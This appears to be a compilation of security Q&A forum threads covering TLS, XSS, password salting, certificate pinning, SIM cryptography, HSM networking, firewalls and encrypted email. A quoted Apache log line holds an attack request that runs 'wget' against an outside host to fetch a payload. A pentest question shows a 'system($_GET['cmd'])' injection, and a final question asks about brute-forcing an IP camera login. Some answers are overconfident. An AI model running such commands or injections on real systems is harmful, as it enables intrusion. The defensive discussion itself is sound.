So while the client is perfectly able to understand ECDSA signatures (and states as such in its signature_algorithms extension), the list of supported cipher suites that you configured prevents it from accepting any ServerKeyExchange message which contains anything else than an ECDH public key signed with RSA.

Also, the signature_algorithms extension is only partially related to this. With this extension, the client may announce the signature algorithms that it supports, and this is meant to help the server select an appropriate certificate chain, and algorithms for messages that need to be signed. If the client says "RSA only", then the server should strive to use only RSA signatures, both for what it signs itself (e.g. ServerKeyExchange message) and for the certificate chains is sends (all CA certificates should be RSA based).

That's, in practice, wishful thinking. Most servers have only one certificate, and that's the one they will send, regardless of the signature_algorithms extension. And most clients will adapt: if the client really supports RSA signatures, then it will process the RSA signatures on certificates and on TLS messages. This is the normal behaviour in the absence of the signature_algorithms extension.

The real usage of this extension is not to limit possible signature algorithms -- these are constrained by both the cipher suite and the kind of certificate that the server actually owns -- but to help the server choose hash functions to be used with signature algorithms. When the client says: "I support RSA with SHA-256", it is really telling to the server "if you must use RSA signatures, then you can do it with SHA-256 as support hash function, I know how to handle it".


Can you exploit an XSS vulnerability on one page to run code on another page? Lets say that page A is vulnerable to XSS, but contain nothing of interest to an attacker. Page A links to page B that is not vulnerable to XSS, but contains a high value target for an attacker (such as a login form to steal passwords from). Both page A and page B are on the same domain.

Is it possible to exploit the XSS vulnerability on page A to run code on page B when the victim visit it, so you can steal the victims password when it is entered into the log in form?

I suspect that playing around with frames or iframes might be part of the solution here, so a natural follow up question is if it is possible to containt the XSS vulnerability to page A with the help of content security policy or something similar?

The attacker could add some onclick event attribute on the different link of the page.
When the user click on a link, he'll think he got a simple disconnection bug, instead of that, you're onclick event loaded a fake connection page. But, you're still on the domain and you can even manipulate the url with history.pushState(); as an example.


What are the security risks of resetting your password every time you login? Is it a good idea in terms of security to reset your password every time you login and just fill your password with a bunch of random symbols, letters and words that you don't memorise?

Since passwords with larger entropy have better security, why not fill it with a long random string of symbols, words, numbers and simply use your email to reset it every time you try to login and afterwards delete the mail that they sent you for recovery. [Or SMS to phone]

What is the reason (security mainly) that this idea is not suggested much? [Excluding the fact that its troublesome to some people]

Slack does something similar: instead of logging in with your password, you have an option to receive an e-mail to a registered account with a one-time login link. Clicking on the link logs you in. So this is used a bit :)

The main issue with your suggested scheme is indeed the convenience issue. Notably:

Login delay. Depending on current server load and your email provider, it can take between 5 seconds and 10 minutes to receive an e-mail with a reset link. If you're logging into something like your bank account, which you log in at least daily and always log out, this wastes quite a bit of time unless your workflow is well-planned around it.
Password reset procedure might get broken after site update. Broken login is likely to be spotted immediately, but password reset is used much less often, and this would take longer time to spot and fix.
Password reset procedure might be insecure itself. Some sites would even generate and send you a new temporary password by email (ughh!) - and some of those passwords I've seen were very weak.
Password reset procedure might be quite complex (asking username, security questions, some other info about you, then letting you to choose a password, and then you have to log in with this password). This would make login quite burdensome.
In this scheme your email is essentially the key to everything, and if it gets hijacked, blocked or deleted (such as when Lavabit shut down their email server - imagine if you had that email as registered?), you're now in a really big trouble, since you don't know any of your passwords and have no means to easily reset it.
Finally, after many resets your account might get locked on the server - it is unusual behavior for users to reset password daily, so it depends on how zealous their fraud department is. In this case the customer support would not be likely able to do anything for you besides unlocking your account once, and telling you that it might get locked again tomorrow if you reset your password again.


Remote code execution vulnerability in PHP's base64_decode? I'm trying to pentest a PHP script.

This is the last line of the script that I want to exploit:

Header("Location: ".TOP_DIR."/".base64_decode($_GET['ref'])."&imgid=".$_GET['imgid']);

Is it vulnerable to remote code execution? If so, I want to run the system function inside the base64_decode function:

system($_GET['cmd'])

Is it possible?

You should never say never, but there is no reason to believe you could exploit that line to gain RCE. The base64_decode function does exactly what the name implies - it decodes base64. To get the parameter value executed you would need a function that executes code provided to it, like eval. You don't seem to have that, so you are out of luck.

With that said, it looks like you could do path traversal, since there is no check for / characters. Not sure how you could exploit that in a redirect response, though. On older versions of PHP you could also do header injection by including a newline, thereby starting a new header.


How do you overcome the problem of the salt being public and known by the attacker? I believe that when adding a salt to the password you need to store the values so you can compute the hash again. But, what does happen if the attacker get the salt?

How is it possible to add value or strength to the password if the salt is known by the attacker?

What am I missing?

The problem here is that the salt mission isn't to be "secret", the purpose is to be unique so when an attacker "try a password" with that known salt it can only compare the generated pass with this one original hash because all other passwords will have different hashes.
For example:
Consider not having a salt:

user1:hashpass1
user2:hashpass2
user3:hashpass3
user4:hashpass1
user5:hashpass5

As you can see, user1 and user4 use the very same password because the hash generated are identical. So, when an attacker find this, he can hash one common word, for example: "rabbit" and then compare rabbit against the whole password hash database. He will also know that all the identical hashes has been generated with the very same password.
This is great for an attacker because he only need to hash ONE time to compare it hash against the whole database.
On the other hand, consider the very same salted user table

user1:salt1:salted1hashpass1
user2:salt2:salted1hashpass2
user3:salt3:salted1hashpass3
user4:salt4:salted4hashpass1
user5:salt5:salted1hashpass5

Now all the password hashes are different because of the salt, even user1 and user4 who used the very same password has different hashes.
This is bad news for an attacker he will need to compute the word rabbit with every single salt he finds in the database so he will a lot of time to do this. And this is the real value added by the salt.


Security Scanning for Desktop Applications Our company develops Windows desktop applications.  We offer off the shelf solutions - not custom development.  A potential new customer wants to add a section to our standard contract that requires us to use an "Application Scanning" Tool.  They specifically mention IBM's AppScan.  However that tool seems to be for web applications, not desktop applications.

Our applications are developed using Delphi (from Embarcadero formerly Borland a long time ago).  We are a small two developer shop.  While I can understand the why a customer would want something like this in a contract, I'm not sure how I can really accomplish this.

Are there other "industry standard tools" as their contract language seems to indicate?

Is this becoming common practice among ISVs?

Are there any guidelines for ISVs for complying with these type of security review requirements?  I know there are a number of sites for safe coding practices (verify user input, buffer overflows, SQL injection, etc.) but I have never seen anything that discusses putting together a security review that would convince a end user that the programmer did their job correctly.

Here is what they want added to the contract:

  x.x Software Security Review And Testing.  A security scanning process
  will be performed on the application components for each production
  release of the  Software licensed by Licensee pursuant to this
  Agreement prior to making available a major release of such
  components.  Such security scanning will be performed by Licensor
  using IBM’s AppScan application scanning tool or an alternative,
  industry standard tool (“Application Scanning”). Vendor will also
  perform manual penetration testing (“Penetration Testing”) for each
  major release of the core product(s).  Vendor will conduct Application
  Scanning on each application component as set forth in the applicable
  Schedule under the Agreement a minimum of one (1) time per year.
  Vendor will provide to and review with Licensee a report of the
  results of Vendor’s most recent Application Scanning and Penetration
  Testing for the AgWare Software.

The application itself is a standard windows application.  It can connect to either an Access Database or a SQL Server database for it's data storage.  Users worried about security will obviously be using SQL Server. There is no middle tier - I connect directly from the application to the SQL Server.  The connection is made using a trusted connection and all data access is via stored procedures.

I can understand running some type of security scanner on the SQL Database.  i.e. something that would verify a table was not left with wide open access. It is interesting that the database was not addressed in the contract.

I can probably press the issue and say that AppScan cannot be run on desktop applications and get them to remove the section from the contract.  Seeing it though made me wonder if any desktop application developers are running any type of scanner on their software.

Web application scanners are hardly be the be all end all of web application security and simply running an off the shelf tool will not solve the the problem of an insecure application.  That being said,  the security impact of a desktop application is highly dependent on what your application does.  Is it a server?  Does it communicate over a network?  Does it have a database?

No off the shelf application can solve this problem.  You need to hire a professional security analyst to review this application and (most likely) test it manually.


Signing CertificateRequest with special privileges Well, I am not sure if I specified the question correctly.

While I was browsing web, I checked several SSL certificates and noticed that even Root Certificate doesn't have set all attributes of application(or however is it called).
Cert companies makes another attributes for Class 1, Class 2, EV.

When I created my own CA Certificate it has:

-All rules of issue,

-All rules of applications.

And new certificates signed by this root has:

-All rules of applications.

Cert companies makes another attributes for Class 1, Class 2, EV. Is it possible to set those rules using OpenSSL.

I had to change usr_cert fields like: keyUsage and
extendedKeyUsage to add special policies.

Additionally there is possibility to change nsCertType to change the type of certificate.


Public Key Certificate Pinning and MITM attack So I was looking at an example of how to implement public key pinning for when your app connects to your web service and you want to have your app ensure it's really talking to your server.

http://blogs.windows.com/buildingapps/2015/10/13/create-more-secure-apps-with-less-effort-10-by-10/

They do a test HTTPS request and then check the thumbprint of the certificate:

private async Task DemoSSLRoot()
{
    // Send a get request to Bing
    HttpClient client = new HttpClient();
    Uri bingUri = new Uri("https://www.bing.com");
    HttpResponseMessage response = await client.GetAsync(bingUri);

    // Get the list of certificates that were used to validate the server's identity
    IReadOnlyList<Certificate> serverCertificates = response.RequestMessage.TransportInformation.ServerIntermediateCertificates;

    // Perform validation
    if (!ValidCertificates(serverCertificates))
    {
        // Close connection as chain is not valid
        return;
    }

    PrintResults("Validation passed\n");
    // Validation passed, continue with connection to service
}

private bool ValidCertificates(IReadOnlyList<Certificate> certs)
{
    // In this example, we iterate through the certificates and check that the chain contains
    // one specific certificate we are expecting
    for(int i=0; i<certs.Count; i++)
    {
        PrintResults("Cert# " + i + ": " + certs[i].Subject + "\n");
        byte[] thumbprint = certs[i].GetHashValue();

        // Check if the thumbprint matches whatever you are expecting
        // d4 de 20 d0 5e 66 fc 53 fe 1a 50 88 2c 78 db 28 52 ca e4 74
        byte[] expected = new byte[] { 212, 222, 32, 208, 94, 102, 252, 83, 254, 26, 80, 136, 44, 120, 219, 40, 82, 202, 228, 116 };

        if (ThumbprintMatches(thumbprint, expected))
        {
            return true;
        }
    }

    return false;
}

Now my question is: With this approach, couldn't an attacker selectively allow your app to authenticate the first time to your web server and establish that it's trusted, and then immediately switch over to their malicious HTTPS server? It seems so, since only the initial "Hello World" request is validated...

During the initial TLS handshake, a "master secret" is created

  The client and server then use the random numbers and PreMasterSecret
  to compute a common secret, called the "master secret". All other key
  data for this connection is derived from this master secret (and the
  client- and server-generated random values), which is passed through a
  carefully designed pseudorandom function.

As this secret is used throughout the communication a MiTM attempting to impersonate either the client or server mid-conversation would need to have the master secret (and likely other secrets) to encrypt and decrypt communication. But being that this secret is only known by the original client and server, a MiTM is impossible (or at least very difficult).


Is a SSL Certificate for a static IP Address a good idea Is it possible to acquire a SSL Certificate for a static IP address that is not registered to a domain name and is there any issues that could be encountered?

Main problem with a certificate for a static IP address is that it may very well not work at all. Relevant standards (RFC 2818, RFC 6125) only talk about DNS names, not IP addresses.

There are mostly two ways in which an IP address could be stored in a certificate's Subject Alt Name extension: either directly under its normal ASN.1 type (iPAddress, an OCTET STRING of length 4 or 16, depending on whether you are talking about IPv4 or IPv6), or as a dNSName by converting the address to its decimal-dotted representation (as in "1.2.3.4", a sequence of seven characters to encode a 4-byte IP address). I heard, but not verified myself, that some versions Internet Explorer would accept to match the second kind of representation as if it was a name, but not all browsers would do that. The iPAddress format is likely to be completely ignored by clients.

Usual commercial CA won't accept to encode IP addresses in certificates, in particular because they cannot guarantee that the IP address is yours and will remain yours, regardless of how strongly you believe it.


What a programmer should know before their web service's client audit Situation: I have created a WS client (.net wcf) for the customer that access a third party web service (Websphere). This WS uses HTTPS and I get a certificate from WS vendor. All works fine, I have delivered WS client to customer, customer have ordered their certificate... but suddenly I got mail from customer's security auditor where he asking me about things that I don't understand why he is interesting. So I fill unprepared for such story twist.

If I will understand the goal of security auditor than I will understand what he really want. He is asking about
1) what is the minimal protocol level that supports WS (SSLv2 or SSLv3) requirement?
2) what is the minimal length of the key 128 or 256 bits?

I have heard about SSL rollback attack but this should be interesting for WS admin (third party), not for WS client  network security auditor (my client)... Why WS client's user could be interesting in those things? May be there are firewall settings that he should adjust?

From what you have said, this would appear to be a common audit issue that would be raised from a compliance based approach to security.

I would expect that the security auditor is looking to identify if your new implementation supports weak SSL cyphers and therefore raise a risk based on this.

If your customer has a PCI/DSS requirement then the audit may look to confirm the following:

  PCI DSS Requirements
  4.1 Use strong cryptography and security
  protocols (for example, SSL/TLS, IPSEC,
  SSH, etc.) to safeguard sensitive
  cardholder data during transmission over
  open, public networks.

For more information, OWASP has a good deal of information on this and advise -

  Only Support Strong Cryptographic Ciphers
  The strength of the encryption used within a TLS session is determined by the encryption cipher negotiated between the server and the browser. In order to ensure that only strong cryptographic ciphers are selected the server must be modified to disable the use of weak ciphers. It is recommended to configure the server to only support strong ciphers and to use sufficiently large key sizes.


Do burned DVDs contain trackable information? I'd like to know if it's possible to burn a video DVD (not just a regular CDFS DVD with video files in it; I mean a DVD that you can play the video of using regular DVD players), without the possibility of people in possession of the DVD being able to track the DVD back to me or to the burner that burned it. There is a similar question about CDs; does this extend to DVDs? For DVDs, is the fingerprint more thorough than just a burner-specific ID? Is there a (possibly physical) way to remove it?

Additionally, should I take any extra steps regarding the video file itself (removing authorship/creation date metadata, etc.)?

DVD-R discs include the serial number of the drive used to burn them.  There is a program called DVD Info Pro that is able to read that part of the disc and extract the drive's model and serial number.  To do so, select "Read burn info from DVD-R/RW media".

Commercially pressed discs don't seem to contain any such information.  I was unable to find any information about whether DVD*+*R discs record any serial numbers.

I don't believe any personally identifying metadata is kept when converting to video DVD formats.  Someone may however be able to tell what software was used to encode and burn it, either because it records the application ID in the DVD's media information, or just by looking at encoding methods specific to that program and it's typical settings.

There is also usually some small engraved writing at the center of the disk which can identify the manufacturer of the blanks and the batch it came from, which may or may not be enough to track down where the discs were sold.


wireshark only showing inbound traffic I am using a dynex DX-EHB4 ethernet hub with two systems connected to it, the target desktop and another desktop running wireshark in promiscuous mode. I have a filter in place "host x.x.x.x" so I only see traffic of the target ip address.

In my packet capture I see all inbound traffic to the target system, but no outbound. I cannot figure why this is. All the wireshark documentation says that I have the right type of hub and am setup right to see all traffic both to and from the target system. What is wrong here?

The simplest reason is likely that the outgoing traffic is not going out that interface. Are you sure there's traffic to capture?

Do you have more than one interface connected on this system? If so you may have asynchronous routing, where incoming and outgoing traffic go out separate interfaces. Look at your routing table using netstat -r (should work on most OSs), and look at which interface is the best route for that host. If the traffic is being routed out another interface either fix the routing issue or do a packet capture on both interfaces at once.

Another possibility is that you are filtering out the traffic you are looking for. Make sure all capture filters are off, than do a capture. Stop the capture and then filter the results. Try using ip.host == "x.x.x.x" and see if you've captured both the incoming and outgoing.


Open Problems in Security? I know it might seem a bit too much theoretical, but I was wondering if there was some list of known open problems in security?

In a similar way that there are open problems in Theoretical Computer Science, it would be interesting to get a similar list in security, especially for research purposes.

Note that I am particularly interested in theoretical/research problems, rather than concrete usage or implementation problems, as those given in this list: What are the biggest unsolved problems in IT Security?.

Any idea/suggestion/comment is welcome, this is just question that came up to my mind after a panel discussion at a security conference.

I'm more interested here on non-crypto problems, such as those involving policies, enforcement mechanisms, etc.

Covert channels and side channels are hard to eliminate.

Additionally, many of the open problems in computer science have implications for security.

There is a need for formal ways to specify software, and there is a need for formal ways to specify security requirements.

The difficulty we have proving program correctness for critical programs the size of operating systems, means that it is difficult to prove that widely used security critical code (IP stacks, OpenSSL) is correct.

The inability to efficiently check for ambiguity in a grammar, means it is hard to prove that an authority carrying message will exercise only the authority intended.

The inability to prove halting for a broad and interesting subset of programs makes it hard to reason about denial of service and resource hogging.

The inability to tightly bound aliasing statically means it's hard to statically prove that data does not leak from one part of a program to another.


SIM card - Cryptography I would like to have general infos about crypto and commom SIM card in mobile phone(I know there may be different implementations, technos according to the operator...).

Is crypto used only for authentication ?
Is crypto used also for encryption ? symmetric encryption ?

I heard about a private key embedded in it for authentication, but what about encryption, which seems as important.

It's been a while since I researched this topic, however, several algorithms exist. At the time of my research (3 years ago), the A5 algorithm was the most used algorithm in Europe for phone and sms conversations (GPRS used a different algorithm). Several variations exist:

A5/0
A5/1: most widely used (deemed the most secure of the three), but cracked by Karsten Nohl in 2009-2010
A5/2

I am not sure if these algorithms are still in use, but I assume the encryption/authentication is still done in a similar manner. Update: the 3G and 4G are probably a lot safer. However, operators often fallback to 2G for normal calls/SMSes. The A5/3 algorithm (aka KASUMI) is said to be used in 3G communications. KASUMI is much harder to crack, and thus it is more simple for the NSA to go and steal the keys.  Update 2: by operating a jamming device, agencies have reportedly disrupted 3G/4G communications, causing nearby phones to fall back to crackable 2G.

Authentication
To decide whether or not the SIM may access the network, the SIM needs to be authenticated. A random number is generated by the operator, and is sent to the mobile device. Together with the secret key Ki, this random number runs through the A3 algorithm (it is this Ki that recently has been compromised). The output of this calculation is sent back to the operator, where the output is compared with the calculation that the operator has executed himself (the operator possesses the secret keys for all SIM cards the operator has distributed).

Encryption
This part is the part that has been cracked. In short, the operator generates a random number (again), and sends it to the mobile phone. Together with the secret key Ki, this random number runs through the A8 algorithm, and generates a session key KC. This KC is used, in combination with the A5 algorithm to encrypt/decrypt the data.

Note: the figure is from a paper by SANS institute, and the explanation of the A5 algorithm crack is based on the presentation of Karsten Nohl. I cannot seem to find a valid link to both of these papers at the moment.


Managing encryption keys protected by user password I'm building a SaaS app in PHP that will involve users storing their client's names and addresses in our database. I intend to encrypt the data using the defuse/php-encryption library which allows individual users to have their own encryption key protected by their login password. My question is, if I do this, how do I manage the case where the user has forgotten their password? If their password is forgotten, the key is subsequently lost and I have no way of recovering it. I thought I'd be able store the key twice, one protected with the user password and the second protected by a strong admin password, with the user having to phone up to reset their account. However, from what I can see, the php-encryption library does not allow for this.

I'd like to avoid having a global key as it would have to be stored somewhere in the source code or db.

You can't use the user's login password for the reason you've noted so if you're going to encrypt the data you have to either save the password or be able to generate it.  Maybe the password is the user's login ID hashed.

It seems like you want the password for the encrypted data to be a secret not kept by your program.  That can't happen without the possibility of losing the data.


What is DDOS TCP KILL? I've recently been introduced to Kali Linux's webkiller tool, located in the websploit category. It works on the concept of Tcpkill.

I don't understand how the DoS attack with Tcpkill works. Can someone explain it in detail?

I think you may be misunderstanding what tcpkill is. tcpkill is not generally used in any sort of DDoS type of attack. It is possible to use it to DoS someone, but that usually involves you being within the same network segment as them, or controlling a part of the network their data transits.

To keep it short, its a packet filter. It is designed to drop packets based on your filter criteria, which can be any of the following:

Source IP
Destination IP
Source Port
Destination Port
Any other tcpdump expression

The idea of webkiller is to deny web service to a user on a controlled network. That may be legitimate control, like a network admin blocking certain services. Or it might be illegitimate control, like an attacker blocking access to facebook to piss someone off.


When does OpenID Connect return JSON? Whereas OAuth2 doesn't explicitly define which token type to use, OpenID Connect defines an API and data format to perform OAuth2 authorization flows.

What are the occasions in which a JWT is returned in OpenID Connect?

Authorization flow: the client requests an authorization code to the authorization endpoint (/authorize). This code can be used againt
  the token endpoint (/token) to request an ID token (in JWT format), an
  access token or a refresh token.

  Implicit flow: the client requests tokens directly from the authorization endpoint (/authorize). The tokens are specified in the
  request. If an ID token is requested, is is returned in JWT format.

  Hybrid flow: the client requests both an authorization code and certain tokens from the authorization endpoint (/authorize). If an ID
  token is requested, it is returned in JWT format. If an ID token is
  not requested at this step, it may later by requested directly from
  the token endpoint (/token).

Source: Sebastián E. Peyrott, Auth0 Inc.  The JWT Handbook (Kindle Locations 262-269). Kindle Edition.


Apache logs, suspicious logging apach0day today I received this

16X.XXX.XX.77 - - [28/Jul/2014:--:--:--] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 200 3596 "-" "chroot-apach0day"

so with

HTTP_USER_AGENT: chroot-apach0day
REQUEST_URI: x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day

appears in access log and seems suspicious...
any idea about that?

Proxypipe.com is hosted by Voxility S.R.L (AS39743)(AS3223). Voxility is known to be a bad hosting company by allowing the hosting of malware, sending spam, executing DDoS et cetera, from their IP's.

It is best to block all their IP ranges otherwise you will possibly be dealing with DDoS attacks. I experienced this all day long before.

You can find a list of their IP ranges here Voxility (AS39743) and Voxility (AS3223)


What can I do to make sure my computer isn't infected with FinSpy? What steps have been taken by common free software OS distributions to protect against it?  What can Windows users do?  What ways are there to rid a system of it?

Look for the string "FinSpy" across all files.

"But their most intriguing finding was a small but telling word embedded in the spyware’s code: “FinSpy.”

That quote is from the article at http://bits.blogs.nytimes.com/2012/08/31/how-two-amateur-sleuths-looked-for-finspy-software/

According to that article you could also look for connections to servers answering manual connection attempts with Hallo Steffi".


What is client-channel.google? I am newbie in penetration testing. When I was using burp-suite, intercepting a dummy web-application when I found some strange URLs.

7.client-channel.google
10.client-channel.google...
etc

I searched about it but found no information. I want to know what it is so that I can do better mapping of any web application.

I searched for "what is client-channel.google"

And got this as one of the top 3 hits: https://support.google.com/a/answer/2589954?hl=en

  In order for users on your network to access Google Drive and Google
  Docs editors, your firewall rules should connect to the following
  hosts and ports. Otherwise, users may be blocked or denied access from
  these services.

  ...

  [N].client-channel.google.com:443/HTTPS

My assumption is that you captured those URLs while using Chrome to connect to your dummy web application and caught traffic from Chrome to Google.


Securing an HSM on the network I've never had to place an HSM on a network before so I want to ask this question to get a consensus on best practice for this.

The HSM will reside on an internal network which will look like this;

internet <-> boundary firewall <-> DMZ <-> inside FW <-> IPS <-> internal network

The inside firewall will also have a secondary connection to our corporate WAN and the internal network will be used for Dev/Pre-Prod etc.

Obviously I will be segmenting the internal network into different confidentiality/security levels, therefore the HSM will reside in it's own subnet.  Would it be best to place a further FW at the ingress/egress point of the subnet for the HSM?  should I have an IPS.

Any pointers from someone who has implemented an HSM on a network would be appreciated.

Cheers

As Steffen mentioned, an HSM is a very special purpose device. It is usually not placed for "convenience of access for most systems".

In fact, when you first deploy an HSM, there is usually just one system that needs access to the HSM - and it is usually the system performs your IDAM roles. In many cases, it remains the only system that needs HSM for a long time.

Therefore, I always recommend that the IDAM server (or whichever system needs access to HSM) use a dedicated network adapter to connect to the HSM - making it a private segment of the network with a dedicated switch.

---IDAM-NIC-1-app-access----[IDAM Server]---IDAM-NIC-2-private----[HSM]

You could connect more servers on this switch when the need arises.

I'm not sure what applications might need a more "general purpose access" to the HSM, but if/when you do need that, you could connect it to a separate protected network/segment on your firewall (most firewalls these days support multiple NICs/segments/zones) and put in place relevant security policies.


Bouncy Castle - document signed by sender and only readable by receiver? I am building an application that requires secure data transfer. In particular, the sender has a data file that needs to be sent to the receiver. It is required that only the receiver be able to read the data. It is also required that the receiver can know for sure that the data comes from the sender.

The sender and receiver have a long-term business relationship, and will have exchanged public keys. The data files to be transmitted are not small.

I am assuming that Bouncy Castle is a good route to go, but I am open to other suggestions.

I have read all the BC documentation I can find (none) and look at the API and some examples I found on the internet. It appears that I want to be using CMSEnvelopedDataGenerator, but I have some specific questions:

Exactly how do I configure the data encryption (presumably using AES)?
Exactly how do I configure the double-signing (using sender's private key and receiver's public key)?
Can I configure it so that the data is zipped/compressed before being encrypted?
Is the BC implementation of this scenario secure and safe to use? Are there specific settings/algorithms/parameters that are required to make it secure?
Is there an available 3rd-party, standalone application that I can use to read/validate that the BC output is indeed correct and secure?
What else should I be asking (I am a crypto newbie)? Or is there a better way to do what I am looking for?

Follow-up question
In doing further research, I ran across this article. My requirements are such that I need to not be susceptible to surreptitious forwarding. The article is old. Do the various "secure" technologies still suffer from the mentioned faults? Do any of the standard products/libraries provide a secure solution in a standard way?

The BouncyCastle OpenPGP or S/MIME packages should allow you to do what you want. OpenPGP will be more appropriate when using OpenPGP certificates (often only referred to as "PGP public keys"), whereas S/MIME will be more appropriate when using X.509 certificates.

There's no "double-signing" involved: you'll sign with the sender's private key and encrypt with the recipient's public key.

GnuPG (or other implementations of OpenPGP) should allow you to test the results if you use BouncyCastle's OpenPGP implementation.

Note that you should sign first and encrypt afterwards, not the other way around, on the basis that the signer should be able to look at what it signs, and the recipient to be able to decipher and read, but keep the signature attached if necessary.

There doesn't seem to be many BouncyCastle OpenPGP examples around, but this blog entry looks rather complete (although I'd still sign first and encrypt afterwards). Compression is also taken into account.


How do I figure out if a piece of software contains malware? My question is a bit complicated; I'm trying to evaluate if Selenium is contains malware. I know a lot of people on SO use it and I'm not too worried about it, but I work for a conservative Asian company and right now they're pretty strict about installing new software for fear of viruses. So really the question is, how do I prove it's safe/convince them that it is? My boss is pretty excited about me using this to improve my efficiency, but idk that his bosses will see the potential risk as worth it.

Unfortunately this is not usually possible.

In many cases, the software is signed, so that you can verify the company who authored the software. However, in your case you are getting the software directly from the author so you know who they are.

As you understand, even knowing the author, there is still a risk that Malware was included by the author. Many larger companies will not do this because they have so much to lose, but it is technically possible.

It may be wise to do some research to see if other users have reported issues.

There is no practical way to scan for 'unknown' malware. Anti-virus programs can only scan from a database of previously reported malware. (also you would have to disable auto-update features)

So the bottom line is

Either you trust the creators enough to run the software. (and install their updates)
Or, you restrict the scope in which the software can run.

Restricting the scope means

Run on a separated VM, which has no access to any of your operational systems.
Restrict internet access so that potential malware cannot call home.
Optionally run on a separate physical computer as well, but this is probably overkill.

Following these steps will limit the risk associated with running malware, but is quite distinct from your original request to detect whether malware is present.

Some final points:

Is it better for the software to be open source or not? That's worth considering, but not in this answer.
It is technically possible to de-compile the program and inspect it manually, but this is not practical.
You could write your own tools that serve a similar purpose.


What is the expected TLS traffic from Jenkins? Given:

We start a Jenkins instance on a Windows host as a Service. It looks like the server is correctly configured (--httpPort=-1 --httpsPort=8080 etc) and has an own key store. There is no proxy in front.
The server uses a certificate (A) that is derived from a self-signed one (B). The self-signed certificate (B) is also present in the client's Windows trust store (I've imported it).
Connecting from the client to the server with Chrome works and Chrome indicates that the connection is OK and secured. It correctly shows me the certificate chain.

The following confuses me: I cannot see any TLS-traffic using Wireshark.

I'm looking at the correct interface, and I've added the ssl filter. I would have expected to see a TLS handshake. Despite the non-standard port, Chrome can know that this shall be a secured session because of the scheme https.

To test that Wireshark is not the problem, googling to e.g. stackoverflow.com and I'm seeing lots of packets with Protocol TLSv1.2 to the internet proxy.

I'm not aware that Jenkins is using STARTTLS. Chrome is sending the CSP header Upgrade-Insecure-Requests:1 that seems to be superfluous, because this should be a secure connection anyway.

Some versions of Wireshark have the SSL decoder just on port 443, so I was wondering that if your Jenkins SSL traffic is on port 8080 may be that is the reason. If is not may be you can upload the pcap file so people could determine better the problem


Minimal usage in Windows 10 justify filtering all ports besides 22, 80, 443? I use Windows 10 home on my personal computer. I opened up cmd and ran:

netstat -a

I saw a large list of ports that are on "LISTEN" mode and some others I couldn't recognize their state as I never learned much Information Security and I just want to filter ports I don't use because I might install Windows software that might listen on them without being aware to that.

Will you agree that minimal usage in Windows10 (SSH via WSL/Putty, web surfing and some PC games requiring web connection and sometimes TeamViewer) justify filtering of all ports besides 22, 80, 443?

In my VPS for example (the one I login to with Putty SSH tunnel, I filtered all ports besides 22, 25 (for Postfix), 80, 443 and 9000 for PHP-FPM) and I wonder if my Windows 10 (on which I don't use port 25 or 9000) should also be that "fortified" by means of port filtering.

There's a couple of different components to the answer:

I think you have a misunderstanding of ingress vs egress and stateful firewalls.  Most stateful firewalls (IPTables configured with ufw, the Windows firewall) will allow any traffic related to an already established connection through the firewall.  They only filter on the initial connection setup.
Most workstations have no need for any ports to be open in their inbound firewall policies.  Inbound ports are only necessary when you expect other hosts to connect to a service you are hosting.
Limiting outbound ports to something like the set you have listed is a reasonable thing to do, but might result in other software not working as intended.  For example, bittorrent, voice/video chat, etc., often use other ports for communications.
Don't forget port 53 on both TCP and UDP.  DNS is rather important.  Or useful, at least.

As schroeder points out, there's the alternative of using application-based firewalling.  Then you can allow individual applications the choice to communicate or not.  (Your web browser, putty, etc.)  With this choice, you'll probably discover quite a few things that will need additional whitelisting as you go, such as updaters/installers, etc.


How are Proton Mail key Encrypt and Decrypt for the non-proton mail service providers? There is a service called ProtonMail.

It encrypts the mail while sending between two proton-mail users, but how does it encrypts and decrypts while sending the to the non proton-mail services providers.

Also from version 3.6 there is only single password, no 2 passwords so how does it work?

Based on the limited information available on their site that says they're using OpenPGP, here's my guess:

When sending email to another Protonmail account the body of the email is encrypted using the recipients public key (which is public, non-sensitive information).

When reading email, your password is used to generate an encryption key, possibly via PBKDF2, this is in turn used to decrypt the private key - hopefully locally on your device - which can then be used to decrypt the message.

This is pretty much how PGP works and has been used to encrypt email for quite some time, though there has never been a good, commercially available solution that I know of. As for encryption to non-Protonmail users, they write here that they don't support PGP (which is a bit odd since they seem to be using OpenPGP), so you can't send encrypted email to recipients outside of Protonmail.

Note that the messages themselves probably aren't encrypted/decrypted with the public/private keys, but instead encrypted with a randomly generated symmetric encryption key. The encryption key is then encrypted/decrypted with the asymmetric keys. This is done for performance and space-saving reasons.

As for their feature of sending encrypted content to other users via links, it's really no different to sending password-protected Zip files, Word documents or password protected links on Dropbox - though it may be more convenient since it's integrated into the email client.


Gmail, Yahoo, Hotmail , and so on; How do they check the content of an attached password-protected archived file like Winrar? How is it possible that mailing systems like Gmail, Yahoo, and Hotmail are able to check the content of an attached password-protected archived file like WINRAR, if the password cannot be guessed, brute-forced, and recovered? Or is it possible that the WINRAR injected a back-door password and selling it to these mailing systems?

They can't.

Encryption is encryption. Email services won't spend time and energy trying to brute force your password, nor do I believe they would create backdoors for the sake of email. If they let you send encrypted archives then they simply don't check the contents.


Could Google Mail or Google Drive work as a path to a company's network? I am a newbie to data security and would like to ask few questions related to Google Mail and Google Drive. What I want to know is how these two apps could be used to access a company's network AND how its data on Google Drive can be taken advantage of. So here are my questions numbered:

Could Google Mail and Google Drive provide a path or opportunity for unauthorized people to break into the company's network?
Is it wise to put any document related to customers, customers' meetings and customers' orders on Google Drive (you might say that this depends on how sensitive the data is, but isn't every company's data important, specially when you have rivals)?

If my questions are unclear, please comment, I will try to explain better.

Short answer: No
Long answer... it depends on how well you secured your account (i.e. two-factor authentication, SMS/mail alerts etc.)
Google drive is a cloud service, logged in through either an app or via the web browser, unless someone completely hacks and bugs the (web)application and spikes it so it reads into your system (which requires them to also crack the security of your system/browser/phone etc.), it MAY have a way in... which will never happen, obviously.
Storing data that could be confidential in the cloud always has the risk of someone accessing the account, having two-factor (or even more advanced, 3 factor) is your best move, and should ALWAYS be enabled for security, this is the same for Google drive, OneDrive, Dropbox, name it!


How to brute force a login page of an IP camera created in .asp? I am new to stackexchange. I desperately need some help. I am doing my thesis on 'IoT Threats', one of my objectives is to try to brute force into an IP camera. I am using Kali Linux Hydra to do the brute force, however I have not been successful in completing this, I know the method I am using is not the correct one, I think, I don't know :(

